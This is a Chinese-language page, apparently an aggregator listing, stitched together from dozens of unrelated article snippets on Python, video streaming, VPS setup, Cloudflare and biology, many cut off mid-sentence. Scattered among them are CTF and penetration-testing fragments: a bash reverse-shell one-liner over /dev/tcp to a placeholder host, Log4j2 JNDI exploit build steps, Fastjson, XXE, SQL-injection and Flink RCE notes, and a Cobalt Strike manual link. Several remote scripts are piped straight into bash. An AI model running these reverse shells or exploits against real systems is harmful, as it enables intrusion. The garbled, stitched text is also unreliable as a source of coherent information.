Django 依然是 Python 开发者值得信赖的库。然而，在 2016 年几个还不太知名的库引起了 Python 开发者的关注。在这篇博文中，我向大家揭示 7 个 Python 类库，其中不包括像 Django，Flask 等已广为熟知的库，这些类库在 2017 年可能值得 Python 开发者参考。
在 2016 年几个还不太知名的库引起了 Python 开发者的关注。在这篇博文中，我向大家揭示 这7 个 Python 类库，其中不包括像 Django，Flask 等已广为熟知的库，这些类库在 2017 年受到了众多开发者的关注，值得 Python 开发者参考和关注。 #1 Arrow 移动应用程序无处不在，而且全球人类都参与其中 – 无论是游戏，社交媒体，健康监控或其他。然而， Python 的标准数据/时间库的问题让它很难满足现代应用的需求，这些应用的目标受众生活在不同的地区和国家。Arrow
不久前我们已经在RTMP推送端扩展支持了HEVC(H.265 后文统称H265)编码格式，但是，由于RTMP官方指定的协议格式已经不再更新，官方的播放器的Flash播放器并不支持H265格式的编码数据进行解码播放；现在，我们需要在播放器端解析RTMP流时对H265编码格式进行扩展支持。
这篇文章将手把手地指导你如何快速完成WordPress的搭建。你可以利用WordPress搭建个人博客，甚至企业官方网站。只要你跟着本文的步骤走，即使小白也能轻松搞定WordPress网站搭建。
1. 介绍 Scala语言拥有很强的表达能力，语法简洁，很接近人类的思考方式。利用map、flatMap方法做数据转换时，层层递进的演算方式，很像是在画流程图，中间没有停顿，思绪很流畅，不会被无关的变量声明、初始化等琐事打断。Scala中的Future可以让你非常灵活的使用线程，而不需要关注底层的线程管理问题，Scala已经为你处理好一切。下面我们以一个示例来说明，将Future、map和flatMap组合起来会产生多大的威力！ 2. 需求描述 假设我们是一个VPS服务器提供商，现
引言 由于某些不可抗力原因, 所处网络环境无法访问 A VPS, 因此 增加 能访问到的 B VPS 来中转流量到 A VPS me --x-> A VPS me <----> B VPS <----> A VPS 非内网穿透需求, A VPS 有公网ip, 可被公网直接发现 和使用某些客户端 配合 Cloudflare Proxy 类似 me(X Client) <----> Cloudflare <----> A VPS <----> google.com me(X Client) <----> 中转机 <----> 落地机 <----> google.com PS: 目前已知 Cloudflare 支持代理: HTTP/HTTPS, WebSocket 和 gRPC(HTTP/2) 但支持的端口有限, 详情请看 Cloudflare 文档 Nginx 流量转发 Nginx是非常强大的四层、七层反向代理软件，功能强大，在互联网上广泛应用。 本节介绍Nginx转发配置。
开篇 挂VAGEX是很费内存的事情建议用免费VPS的同学就不要尝试了（其实也有免费VPS的方法我成功了就教给大家。）本教程只适合32 bit的系统因为64bit的系统FLASH要自己换过。
鉴于广大码友对上一篇文章RTMP推送扩展支持HEVC(H265)的Metadata数据结构还存在不清楚的地方，这里对RTMP推送Metadata的结构进行详解。
1.bugku---Apache Log4j2 RCE 1.1 打开题目 image.png 注意:描述中的命令后面跟的×说明不支持这个命令，√则代表可以使用 1.2 构建一个JNDI服务 Github: https://github.com/welk1n/JNDI-Injection-Exploit 1.2.1 构建 1.cd JNDI-Injection-Exploit 2.mvn clean package -DskipTests 3.java -jar target/JNDI-Injection-E
月前，在 gullow上买了个年付 2$ 的 nat 小鸡，但是国内不能正常访问。但是呢，又想着在这个袖珍 vps 上搭建个小博客耍耍，于是想起了 cloudflare 这个神奇的 CDN 与 Nginx 反代的结合。 需要的工具：cloudflare，一台非 nat 的 vps ，nat vps 是的，你没看错，是需要两台 vps 。
公司业务发展过程中，随着用户规模的增长。不管是采用传统的idc模式，还是最近比较火的vps。作为运维，不免被老板灵魂拷问，哪家的vps比较好，哪家的idc比较好。价格上没什么好说的，谁高谁低，一幕了然。但是相同的价格下，要比较初一个优劣，肯定要用数据说话。 祭出搜索引擎，一顿搜索。找到了网络上存在的的一键测试脚本，然后再使用过程中，发现输出要不就是相对简单，要不就是很久没有更新了，部分功能失效。 服务器(vps)性能测试脚本汇总 给老板看总不能截几张图就完了吧。于是采众家之长，自己做了一个，起名idcmonitor。以后再也不担心老板要评估选点了。
【新智元导读】上周GeoHot开源代码那篇文章一发，反响还是很强烈的，好多兄弟问我这事儿靠谱么，代码怎么样，论文怎么样，索性上周末抽时间找了赵李二位无人车老司机，跟GeoHot和他实习生勾兑了一下细节，然后我们仨复现了一下，然而今天才腾出空来整合一下分析。本文做了三件事：具体怎么复现、论文有啥看点以及代码核心在哪。这代码离实际路上能用还差很多，所以不用担心一波人拿这个唬投资人。 【特约编辑】小猴机器人，人工智能博士，自动驾驶技术爱好者，参与多个自动驾驶项目研发，有丰富的行业经验，尤其对决策规划控制方面了解深
近期SkeyePlayer（windows）更新已全面支持H265的RTSP流的解码播放，这里就支持H265过程做简要介绍；
WARP 是 Cloudflare 提供的一项基于 WireGuard 的网络流量安全及加速服务，能够让你通过连接到 Cloudflare 的边缘节点实现隐私保护及链路优化。其连接入口为双栈 (IPv4/IPv6)，因此单栈服务器可以连接到 WARP 来获取额外的网络连通性支持。
通常我们不是根据 NALU 裸流数据中的信息来选择解码器，而是根据媒体封装层的信息来确定解码器。
反代的含义是反向代理，就是你可以访问 A 的域名来达到访问域名 B 的效果。 工具：一台 vps ，一个域名，cloudflare ，caddy
fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。
在互联网的环境没有比2016年好，可以说更为恶劣，特别是以国内新浪、知乎为代表的网站，手机访问时各种引诱下载APP，然后通过APP要求手机的各种权限，获取各种敏感信息：通讯录、归属地、行程轨迹、短信内容、输入法记录、扫描本地局域网设备等等…
如果大家有不懂的可以看我之前的文章：Android音视频开发——MedCodec实现屏幕录制编码成H264
提供的工具、教程、学习路线、精品文章均为原创或互联网收集，旨在提高网络安全技术水平为目的，只做技术研究，谨遵守国家相关法律法规，请勿用于违法用途，如果您对文章内容有疑问，可以尝试加入交流群讨论或留言私信，如有侵权请联系小编处理。
在之前两篇关于SkeyeRTMPClient扩展支持HEVC(H.265)解决方案的文章中，我们已经完成了对H265的支持，本文主要阐述将H26和H265支持兼容起来，实现不同视频编码格式的自适应兼容适配。
近几年，外泌体越来越多的被提起，CNS 里常常有它，自然基金课题总有它，Pubmed 里的文章数量呈现暴风增长，涉及癌症、免疫、病毒感染、心血管疾病及神经退行性疾病的全方位研究，甚至还有美容相关研究。
在这上面看到like与两个%包裹用户输入的数据，这里无法进行注入，往下看到有个order_by这里可控存在注入。
VPS回程路由一键测试脚本 wget -qO- git.io/besttrace | bash LemonBench 综合性能测试工具脚本 快速测试 yum -y install wget wget -O- https://ilemonra.in/LemonBenchIntl | bash -s fast #或 apt-get install curl curl -fsL https://ilemonra.in/LemonBenchIntl | bash -s fast 完整测试 yum -y insta
2023年第一季度的DDoS（分布式拒绝服务）攻击已经从依靠受损的物联网设备转向利用被破坏的虚拟专用服务器（VPS）。 据互联网安全公司Cloudflare称，新一代的僵尸网络逐渐放弃建立由多个单独的物联网设备组成的群蜂战术，从而转向利用泄露的API凭证或已知的漏洞来控制配置错误的VPS服务器。 这种方法有助于攻击者更容易和更快地建立高性能的僵尸网络，它可以比基于物联网的僵尸网络强大5000倍。 【用于DDoS攻击的VPS服务器】 Cloudflare在报告中解释道，"新一代僵尸网络使用的设备数量虽然只有
有关FTP 软件使用教程在网络上到处都是，本来魏艾斯博客也不打算啰嗦了，后来想本博客建立的初衷就是为了给广大新手站长从零起步学习用的，想当初博主我也是从什么都不懂开始边学边做站的。废话不多说，我们进入今天的主题：FTP 软件使用教程。 FTP 软件通俗来说就是你本地电脑和 vps（或者虚拟空间）之间数据传输的工具。FTP 软件有很多种，博主用过的有 CuteFtp、FlashFXP、Leapftp 和 8UFTP，大家的功能大同小异，我们最主要的都是 FTP 上传下载功能，现在博主常用 8UFTP，他的优点
N1book---死亡ping命令 有时候命令执行的题目限制了字数或者某些函数被禁用了，那么此时可以用反弹shell的效果，连接题目的机器 一般来说，构造bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxxx 0>&1的方式，发送到客户端执行，但是有时候不一定可以，可能会报错啥的，所以此时可以在只记得vps中，新建一个页面，比如xxx.xxx.xxx.xxx/bash.php中的内容是bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxxx 0>&1，然
dd bs=64k count=4k if=/dev/zero of=test oflag=dsync（这种方法是最严格的，可以模拟数据库的插入操作，所以很慢，也是用来测试vps硬盘性能标准的一条标杆，一般来说测试结果，如果超过10M，对正常建站就无影响。超过50M，就是非常给力状态，看了这个vps硬盘性能非常的好，DD速度达到了78.9MB/s。）
由于谷歌adense要求广告必须是顶级域名，所以将原有的blog.stackoverflow.club全部迁移到stackoverflow.club，这需要对原域名做整站301跳转。
说明：很多时候我们用SSH登录vps后用vi命令编辑文件的时候，都不知道怎么编辑，这时候就只能借助FTP文件管理软件来手动编辑了，而且还可以直接从本地上传图片，文件，快速删除vps文件很方便。这里推荐3款最流行的FTP文件管理软件。
每当域在 Internet 上处于活动状态时，要访问它，就需要对 DNS 解析器进行 DNS 查询。通过在 DNS 解析器上激活特殊探测，可以将这些查询记录到数据库中。这不会记录哪个客户端发出了请求，而只是记录某个域已与特定 DNS 记录相关联的事实。
被当工具人的一天，这里放出DASCTF八月月赛部分题目的解题思路，具体wp略： test_your_nc fuzz命令，或者使用逆向工具逆向附件可得知，nc连接靶机将会直接给予一个bash shell。 ls得到文件列表，cat hint得到提示，flag在靶机当前机器(127.0.0.1:3306)的mysql中，并且给出了需要运行的命令。 ls /bin得到只有cat,sh,bash,ls命令可用，考虑利用bash支持/dev/tcp伪文件协议的特性，将靶机上的3306端口反弹至公网访问。 在自己的vp
随着H.265的普及，越来越多的开发者希望大牛直播SDK（Github）能支持低延迟的RTSP H.265播放，并分享相关经验：
有一个做外贸的朋友发来求助，用 lnmp1.4 安装了 php 环境后，添加了自带的Let’s Encrypt 证书，结果打开域名却看到了 COMODO ECC Domain Validation Secure Server CA 2 这个证书，而且还是一会跳转 https，一会不跳转的，给他搞的很郁闷。 一开始魏艾斯博客也是一头雾水，重新安装了一遍 lnmp1.4，并按照官方教程添加了虚拟主机和 SSL，最后得到的结果还是老样子。后来无意中问了一句：你用的什么 ns 服务，回答说cloudflare，于是
Alt + Enter -- 全屏 Alt + B --打开新的连接 Alt + 1/2/3/4/5.../9 -- 切换到第1/2/3/4/5.../9个标签 Ctrl + A -- 光标移至行首。 Ctrl + B -- 光标前移1个字符 Ctrl + D -- 删除光标后1个字符 Ctrl + E -- 光标移至行末 Ctrl + F -- 光标后移1个字符 Ctrl + H -- 删除光标前的1个字符 Ctrl + J -- 回车 Ctrl + k -- 删除当前光标至行末的字符 Ctrl + P -- 显示前一条命令 Ctrl + M -- 回车 Ctrl + N -- 下一条命令 Ctrl + T -- 交换光标前最后两个字符（思科路由器可用） Ctrl + U -- 清除当前行和缓存的输入 Ctrl + V -- 输入ctrl字符 Ctrl + W -- 删除当前光标至行首的字符
C2翻译本：https://blog.ateam.qianxin.com/CobaltStrike4.0用户手册_中文翻译.pdf
网络上有很多hexo博客部署到vercel、github.io的列子，我这里就用第三个个人音乐网站为例子演示一下步骤：
最近，Google 开源了其 TCP BBR 拥塞控制算法，并提交到了 Linux 内核，从 4.9 开始，Linux 内核已经用上了该算法。根据以往的传统，Google 总是先在自家的生产环境上线运用后，才会将代码开源，此次也不例外。 根据实地测试，在部署了最新版内核并开启了 TCP BBR 的机器上，网速甚至可以提升好几个数量级。 于是我根据目前三大发行版的最新内核，开发了一键安装最新内核并开启 TCP BBR 脚本。
XXE刷题记录 首先得先初步了解一下什么是xxe，推荐下面这个 一篇文章带你深入理解漏洞之 XXE 漏洞 XML与xxe注入基础知识 web373（有回显） 正常的xxe <?php error_re
上一节中，我们讲解了网络层的隧道技术（IPv6 隧道、ICMP 隧道）和传输层的隧道技术（TCP 隧道、UDP 隧道、常规端口转发）。现如今，TCP、UDP 通信大量被防御系统拦截，传统的Socket隧道也已经濒临淘汰，DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已经成为了攻击者控制隧道的主要渠道。在这一节中，我们将对应用层的隧道 SOCKS 代理技术进行实验性的讲解，由于小编能力太菜，很多东东也是现学现卖，应用层的DNS隧道我会在未来专门写一个专题进行讲解。
四合一 BBR Plus / 原版BBR / 魔改BBR （推荐） 支持环境： Centos 7, Debian 8/9, Ubuntu 16/18 测试通过, 不支持 OVZ
Apache Flink Web Dashboard 未授权访问，上传恶意jar导致远程代码命令执行漏洞复现
声明：本文仅做技术分享，图片结果均为网络分享图片，请各位看后遵守《网络安全法》，在授权前提下进行渗透测试，学习本文技巧所有产生后果与笔者无关。
比如，对一个视频做 2 倍速播放，假设原来各视频帧的 pts 依次是 0, 30, 60, 90 ...，倍速处理及将它们除以 2 变成 0, 15, 30, 45 ...。这样处理后，视频的帧率和总时长相应的也发生了变化，帧率变为原来的 2 倍，总时长变为原来的 1/2。
VPS综合性能测试！包含VPS硬件信息测试、VPS网络速度测试、VPS回程路由。整合脚本！
在v2.51版本中提供了2种不同的模式，将显示完全不同的结果: 运行./nf -method full将专门为发烧友准备的利器，显示更全面的结果。 而普通用户当以缺省参数运行./nf或者是./nf -method lite将显示更轻量级的结果，显示更加友好。 在v2.6版本中提供了自定义解锁功能，运行./nf -custom 想测试的电影ID号即可查看特定影片是否在该网络上解锁。
大家好，又见面了，我是你们的朋友全栈君。DDoS deflate是一款Linux/centos减轻/防止ddos攻击的一个小程序，相当于软件防火墙。注意，此程序仅仅能抵御较低流量的攻击，大流量攻击连用了上百台高档服务器做了负载均衡的新浪都扛不住，何况一个小小的普通服务器或vps。对此程序不要期望过高。这里仅仅介绍一下，对于一些简单的软件攻击可能还有点作用。
一般我们在项目需要用到远程桌面功能的时候会用到Windows系统，但是大部分海外服务器商都是Linux系统的，我们只可以去安装类似CentOS、Debian、Ubuntu等系统。如果我们是本地电脑用的Linux系统是有见过直接可以安装Debian桌面的，但是在VPS、服务器上我们是否可以安装桌面呢？
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
即时通信 IM
实时音视频
